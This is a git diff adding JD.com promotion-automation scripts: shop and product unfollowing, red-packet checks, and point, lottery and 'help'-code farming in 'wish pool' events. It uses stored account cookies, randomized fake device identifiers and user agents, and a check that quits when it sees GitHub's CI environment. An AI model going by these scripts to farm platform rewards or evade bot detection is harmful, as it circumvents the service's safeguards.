`【京东账号${$.index}】${$.nickName}\n【还剩关注店铺】${$.shopsTotalNum}个\n【还剩关注商品】${$.goodsTotalNum}个`); + } else { + $.log(`【京东账号${$.index}】${$.nickName}\n【还剩关注店铺】${$.shopsTotalNum}个\n【还剩关注商品】${$.goodsTotalNum}个`); + } +} + +function getSubstr(str, leftStr, rightStr){ + let left = str.indexOf(leftStr); + let right = str.indexOf(rightStr, left); + if(left < 0 || right < left) return ''; + return str.substring(left + leftStr.length, right); +} + +function favCommQueryFilter(){ + return new Promise((resolve) => { + console.log('正在获取已关注的商品...') + const option = { + url: `https://wq.jd.com/fav/comm/FavCommQueryFilter?cp=1&pageSize=${args_xh.goodPageSize}&category=0&promote=0&cutPrice=0&coupon=0&stock=0&sceneval=2`, + headers: { + "Cookie": cookie, + "User-Agent": "jdapp;iPhone;10.3.4;;;M/5.0;appBuild/167945;jdSupportDarkMode/1;;;Mozilla/5.0 (iPhone; CPU iPhone OS 15_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;", + "Referer": "https://wqs.jd.com/" + }, + } + $.get(option, async(err, resp, data) => { + try{ + data = JSON.parse(getSubstr(data, "try{(", ");}catch(e){}")); + if(data.iRet === '0'){ + $.goodsTotalNum = parseInt(data.totalNum); + console.log(`当前已关注商品:${$.goodsTotalNum}个`) + $.goodsKeyWordsNum = 0; + for(let item of data.data){ + if(args_xh.goodsKeyWords.some(keyword => item.commTitle.includes(keyword))){ + args_xh.printLog ? console.log(`${item.commTitle} `) : '' + args_xh.printLog ? console.log('商品被过滤,含有关键词\n') : '' + $.goodsKeyWordsNum += 1; + } else { + $.commIdList += item.commId + ","; + $.unsubscribeGoodsNum++; + } + } + } else { + $.endGoods = true; + console.log("无商品可取消收藏\n"); + } + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }); + }) +} + +function favCommBatchDel(){ + return new Promise(resolve => { + console.log("正在取消收藏商品...") + const option = { + url: `https://wq.jd.com/fav/comm/FavCommBatchDel?commId=${$.commIdList}&sceneval=2&g_login_type=1`, + headers: { + "Cookie": cookie, + "User-Agent": "jdapp;iPhone;10.3.4;;;M/5.0;appBuild/167945;jdSupportDarkMode/1;;;Mozilla/5.0 (iPhone; CPU iPhone OS 15_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;", + "Referer": "https://wqs.jd.com/" + }, + } + $.get(option, (err, resp, data) => { + try{ + data = JSON.parse(data); + if(data.iRet === "0" && data.errMsg === "success"){ + console.log(`成功取消收藏商品:${$.unsubscribeGoodsNum}个\n`) + $.failTimes = 0; + } else { + console.log(`批量取消收藏商品失败,失败次数:${++$.failTimes}\n`, data) + } + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }); + }) +} + +function queryShopFavList(){ + return new Promise((resolve) => { + console.log("正在获取已关注的店铺...") + const option = { + url: `https://wq.jd.com/fav/shop/QueryShopFavList?cp=1&pageSize=${args_xh.shopPageSize}&sceneval=2&g_login_type=1&callback=jsonpCBKA`, + headers: { + "Cookie": cookie, + "User-Agent": "jdapp;iPhone;10.3.4;;;M/5.0;appBuild/167945;jdSupportDarkMode/1;;;Mozilla/5.0 (iPhone; CPU iPhone OS 15_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;", + "Referer": "https://wqs.jd.com/" + }, + } + $.get(option, (err, resp, data) => { + try{ + data = JSON.parse(getSubstr(data, "try{jsonpCBKA(", ");}catch(e){}")); + if(data.iRet === '0'){ + $.shopsTotalNum = parseInt(data.totalNum); + console.log(`当前已关注店铺:${$.shopsTotalNum}个`) + if(data.data.length > 0){ + $.shopsKeyWordsNum = 0; + for(let item of data.data){ + if(args_xh.shopKeyWords.some(keyword => item.shopName.includes(keyword))){ + args_xh.printLog ? console.log('店铺被过滤,含有关键词') : '' + args_xh.printLog ? console.log(`${item.shopName}\n`) : '' + $.shopsKeyWordsNum += 1; + } else { + $.shopIdList += item.shopId + ","; + $.unsubscribeShopsNum++; + } + } + } else { + $.endShops = true; + console.log("无店铺可取消关注\n"); + } + } else console.log(`获取已关注店铺失败:${JSON.stringify(data)}`) + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }); + }) +} + +function batchunfollow(){ + return new Promise(resolve => { + console.log('正在执行批量取消关注店铺...') + const option = { + url: `https://wq.jd.com/fav/shop/batchunfollow?shopId=${$.shopIdList}&sceneval=2&g_login_type=1`, + headers: { + "Cookie": cookie, + "User-Agent": "jdapp;iPhone;10.3.4;;;M/5.0;appBuild/167945;jdSupportDarkMode/1;;;Mozilla/5.0 (iPhone; CPU iPhone OS 15_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;", + "Referer": "https://wqs.jd.com/" + }, + } + $.get(option, (err, resp, data) => { + try{ + data = JSON.parse(data); + if(data.iRet === "0"){ + console.log(`已成功取消关注店铺:${$.unsubscribeShopsNum}个\n`) + $.failTimes = 0; + } else { + console.log(`批量取消关注店铺失败,失败次数:${++$.failTimes}\n`) + } + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }); + }) +} + +function TotalBean(){ + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try{ + if(err){ + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if(data){ + data = JSON.parse(data); + if(data['retcode'] === 13){ + $.isLogin = false; //cookie过期 + return + } + if(data['retcode'] === 0){ + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch(e){ + $.logErr(e, resp) + } finally{ + resolve(); + } + }) + }) +} + +function jsonParse(str){ + if(typeof str == "string"){ + try{ + return JSON.parse(str); + } catch(e){ + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e){ + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s{ + constructor(t){ + this.env = t + } + + send(t, e = "GET"){ + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t){ + return this.send.call(this.env, t) + } + + post(t){ + return this.send.call(this.env, t, "POST") + } + } + + return new class{ + constructor(t, e){ + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode(){ + return "undefined" != typeof module && !!module.exports + } + + isQuanX(){ + return "undefined" != typeof $task + } + + isSurge(){ + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon(){ + return "undefined" != typeof $loon + } + + toObj(t, e = null){ + try{ + return JSON.parse(t) + } catch{ + return e + } + } + + toStr(t, e = null){ + try{ + return JSON.stringify(t) + } catch{ + return e + } + } + + getjson(t, e){ + let s = e; + const i = this.getdata(t); + if(i) try{ + s = JSON.parse(this.getdata(t)) + } catch{} + return s + } + + setjson(t, e){ + try{ + return this.setdata(JSON.stringify(t), e) + } catch{ + return !1 + } + } + + getScript(t){ + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + + runScript(t, e){ + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata(){ + if(!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if(!s && !i) return {}; + { + const i = s ? t : e; + try{ + return JSON.parse(this.fs.readFileSync(i)) + } catch(t){ + return {} + } + } + } + } + + writedata(){ + if(this.isNode()){ + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s){ + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for(const t of i) + if(r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s){ + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t){ + let e = this.getval(t); + if(/^@/.test(t)){ + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if(r) try{ + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch(t){ + e = "" + } + } + return e + } + + setdata(t, e){ + let s = !1; + if(/^@/.test(e)){ + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try{ + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch(e){ + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t){ + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e){ + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t){ + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => {})){ + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try{ + if(t.headers["set-cookie"]){ + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch(t){ + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => {})){ + if(t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if(this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if(this.isNode()){ + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null){ + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for(let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r){ + const o = t => { + if(!t) return t; + if("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if("object" == typeof t){ + if(this.isLoon()){ + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if(this.isQuanX()){ + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if(this.isSurge()){ + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if(this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog){ + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t){ + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e){ + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t){ + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}){ + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/jd_userAwardExpandinfo.py b/jd_userAwardExpandinfo.py new file mode 100644 index 0000000..f55775d --- /dev/null +++ b/jd_userAwardExpandinfo.py @@ -0,0 +1,137 @@ +# -*- coding:utf-8 -*- + +#Source: https://github.com/Hyper-Beast + +""" +cron: 10 20 * * * +new Env('京东膨胀红包通知'); +""" + +import requests +import json +import time +import os +import re +import sys +import random +import string +import urllib + + +#以下部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + + +def randomuserAgent(): + global uuid,addressid,iosVer,iosV,clientVersion,iPhone,area,ADID + uuid=''.join(random.sample(['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','a','b','c','z'], 40)) + addressid = ''.join(random.sample('1234567898647', 10)) + iosVer = ''.join(random.sample(["15.1.1","14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1"], 1)) + iosV = iosVer.replace('.', '_') + clientVersion=''.join(random.sample(["10.3.0", "10.2.7", "10.2.4"], 1)) + iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) + area=''.join(random.sample('0123456789', 2)) + '_' + ''.join(random.sample('0123456789', 4)) + '_' + ''.join(random.sample('0123456789', 5)) + '_' + ''.join(random.sample('0123456789', 4)) + ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) + UserAgent='' + if not UserAgent: + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' + else: + return UserAgent + +#以上部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script + +def printf(text): + print(text) + sys.stdout.flush() + + +def load_send(): + global send + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + send=False + print("加载通知服务失败~") + else: + send=False + print("加载通知服务失败~") +load_send() + + +def get_remarkinfo(): + url='http://127.0.0.1:5600/api/envs' + try: + with open(os.getcwd().replace('scripts','config')+'/auth.json', 'r') as f: + token=json.loads(f.read())['token'] + headers={ + 'Accept':'application/json', + 'authorization':'Bearer '+token, + } + response=requests.get(url=url,headers=headers) + + for i in range(len(json.loads(response.text)['data'])): + if json.loads(response.text)['data'][i]['name']=='JD_COOKIE': + try: + if json.loads(response.text)['data'][i]['remarks'].find('@@')==-1: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].replace('remark=','').replace(';','') + else: + remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].split("@@")[0].replace('remark=','').replace(';','') + except: + pass + except: + printf('读取auth.json文件出错,跳过获取备注\n') + +def getinfo(ck): + global sendnotifycation + global userAwardExpand + sendnotifycation=False + userAwardExpand=0 + url='https://api.m.jd.com/client.action?functionId=tigernian_pk_getAmountForecast' + headers={ + 'content-type':'application/x-www-form-urlencoded', + 'accept':'application/json, text/plain, */*', + 'accept-language':'zh-cn', + 'accept-encoding':'gzip, deflate, br', + 'origin':'https://wbbny.m.jd.com', + 'user-agent':UserAgent, + 'referer':'https://wbbny.m.jd.com/', + 'content-length':'80', + 'request-from':'native', + 'cookie':ck + } + data='functionId=tigernian_pk_getAmountForecast&body={}&client=wh5&clientVersion=1.0.0' + response=requests.post(url=url,headers=headers,data=data) + try: + printf('可膨胀金额:'+json.loads(response.text)['data']['result']['userAwardExpand']+'\n\n') + if(float(json.loads(response.text)['data']['result']['userAwardExpand'])>=10): + sendnotifycation=True + userAwardExpand=float(json.loads(response.text)['data']['result']['userAwardExpand']) + except: + printf('获取失败,黑号或者没有参加5人以上的队伍\n\n') +if __name__ == '__main__': + remarkinfos={} + get_remarkinfo()#获取备注 + try: + cks = os.environ["JD_COOKIE"].split("&")#获取cookie + except: + f = open("/jd/config/config.sh", "r", encoding='utf-8') + cks = re.findall(r'Cookie[0-9]*="(pt_key=.*?;pt_pin=.*?;)"', f.read()) + f.close() + for ck in cks: + UserAgent=randomuserAgent() + ptpin = re.findall(r"pt_pin=(.*?);", ck)[0] + try: + if remarkinfos[ptpin]!='': + printf("--账号:" + remarkinfos[ptpin] + "--") + else: + printf("--无备注账号:" + urllib.parse.unquote(ptpin) + "--") + except: + printf("--账号:" + urllib.parse.unquote(ptpin) + "--") + getinfo(ck) + if sendnotifycation: + try: + send(remarkinfos[ptpin]+f'的膨胀红包金额为{userAwardExpand}元','1.进入京东app\n2.点击首页右下角悬浮图标(或搜索栏搜索-全民炸年兽)\n3.点击去组队赚红包右上角即可看到!') + except: + send(ptpin+f'的膨胀红包金额为{userAwardExpand}元','1.进入京东app\n2.点击首页右下角悬浮图标(或搜索栏搜索-全民炸年兽)\n3.点击去组队赚红包右上角即可看到!') \ No newline at end of file diff --git a/jd_wish.js b/jd_wish.js new file mode 100644 index 0000000..81a3ce2 --- /dev/null +++ b/jd_wish.js @@ -0,0 +1,424 @@ +/* +众筹许愿池 +活动入口:京东-京东众筹-众筹许愿池 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===============Quantumultx=============== +[task_local] +#众筹许愿池 +40 0,2 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_wish.js, tag=众筹许愿池, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "40 0,2 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_wish.js,tag=众筹许愿池 + +===============Surge================= +众筹许愿池 = type=cron,cronexp="40 0,2 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_wish.js + +============小火箭========= +众筹许愿池 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_wish.js, cronexpr="40 0,2 * * *", timeout=3600, enable=true + */ +const $ = new Env('众筹许愿池'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let message = '', allMessage = ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let appIdArr = ["1GFNRxq8","1GVFUx6g", "1E1xZy6s", "1GVJWyqg","1GFRRyqo"]; +let appNameArr = ["新年宠粉","JOY年味之旅","PLUS生活特权", "虎娃迎福","过新潮年"]; +let appId, appName; +$.shareCode = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n*******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + for (let j = 0; j < appIdArr.length; j++) { + appId = appIdArr[j] + appName = appNameArr[j] + console.log(`\n开始第${j + 1}个活动:${appName}\n`) + await jd_wish(); + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify($.name, allMessage); + $.msg($.name, '', allMessage) + } + let res = await getAuthorShareCode('') + if (!res) { + $.http.get({url: ''}).then((resp) => {}).catch((e) => console.log('刷新CDN异常', e)); + await $.wait(1000) + res = await getAuthorShareCode('') + } + let res2 = await getAuthorShareCode('') + if (!res2) { + await $.wait(1000) + res2 = await getAuthorShareCode('') + } + $.shareCode = [...$.shareCode, ...(res || []), ...(res2 || [])] + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + console.log(`开始内部助力\n`) + for (let v = 0; v < appIdArr.length; v++) { + $.canHelp = true + appId = appIdArr[v] + appName = appNameArr[v] + console.log(`开始助力第${v + 1}个活动:${appName}\n`) + for (let j = 0; j < $.shareCode.length && $.canHelp; j++) { + if ($.shareCode[j].appId === appId) { + console.log(`${$.UserName} 去助力 ${$.shareCode[j].use} 的助力码 ${$.shareCode[j].code}`) + if ($.UserName == $.shareCode[j].use) { + console.log(`不能助力自己\n`) + continue + } + $.delcode = false + await harmony_collectScore({"appId":appId,"taskToken":$.shareCode[j].code,"actionType":"0","taskId":"6"}) + await $.wait(2000) + if ($.delcode) { + $.shareCode.splice(j, 1) + j-- + continue + } + } + } + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jd_wish() { + try { + await healthyDay_getHomeData(); + await $.wait(2000) + + let getHomeDataRes = (await healthyDay_getHomeData(false)).data.result.userInfo + let forNum = Math.floor(getHomeDataRes.userScore / getHomeDataRes.scorePerLottery) + await $.wait(2000) + + if (forNum === 0) { + console.log(`没有抽奖机会\n`) + } else { + console.log(`可以抽奖${forNum}次,去抽奖\n`) + } + + $.canLottery = true + for (let j = 0; j < forNum && $.canLottery; j++) { + await interact_template_getLotteryResult() + await $.wait(2000) + } + if (message) allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n${appName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}` + + } catch (e) { + $.logErr(e) + } +} + +async function healthyDay_getHomeData(type = true) { + return new Promise(async resolve => { + $.post(taskUrl('healthyDay_getHomeData', {"appId":appId,"taskToken":"","channelId":1}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getHomeData API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (type) { + for (let key of Object.keys(data.data.result.taskVos).reverse()) { + let vo = data.data.result.taskVos[key] + if (vo.status !== 2 && vo.status !== 0) { + if (vo.taskType === 13 || vo.taskType === 12) { + console.log(`签到`) + await harmony_collectScore({"appId":appId,"taskToken":vo.simpleRecordInfoVo.taskToken,"taskId":vo.taskId,"actionType":"0"}, vo.taskType) + } else if (vo.taskType === 1) { + $.complete = false; + for (let key of Object.keys(vo.followShopVo)) { + let followShopVo = vo.followShopVo[key] + if (followShopVo.status !== 2) { + console.log(`【${followShopVo.shopName}】${vo.subTitleName}`) + await harmony_collectScore({"appId":appId,"taskToken":followShopVo.taskToken,"taskId":vo.taskId,"actionType":"0"}) + if ($.complete) break; + } + } + } else if (vo.taskType === 8) { + $.complete = false; + for (let key of Object.keys(vo.productInfoVos)) { + let productInfoVos = vo.productInfoVos[key] + if (productInfoVos.status !== 2) { + console.log(`【${productInfoVos.skuName}】${vo.subTitleName}`) + await harmony_collectScore({"appId":appId,"taskToken":productInfoVos.taskToken,"taskId":vo.taskId,"actionType":"1"}) + await $.wait(vo.waitDuration * 1000) + await harmony_collectScore({"appId":appId,"taskToken":productInfoVos.taskToken,"taskId":vo.taskId,"actionType":"0"}) + if ($.complete) break; + } + } + } else if (vo.taskType === 9 || vo.taskType === 26) { + $.complete = false; + for (let key of Object.keys(vo.shoppingActivityVos)) { + let shoppingActivityVos = vo.shoppingActivityVos[key] + if (shoppingActivityVos.status !== 2) { + console.log(`【${shoppingActivityVos.title}】${vo.subTitleName}`) + if (vo.taskType === 9) { + await harmony_collectScore({"appId":appId,"taskToken":shoppingActivityVos.taskToken,"taskId":vo.taskId,"actionType":"1"}) + await $.wait(vo.waitDuration * 1000) + } + await harmony_collectScore({"appId":appId,"taskToken":shoppingActivityVos.taskToken,"taskId":vo.taskId,"actionType":"0"}) + if ($.complete) break; + } + } + } else if (vo.taskType === 14) { + console.log(`【京东账号${$.index}(${$.UserName})的${appName}好友互助码】${vo.assistTaskDetailVo.taskToken}\n`) + if (vo.times !== vo.maxTimes) { + $.shareCode.push({ + "code": vo.assistTaskDetailVo.taskToken, + 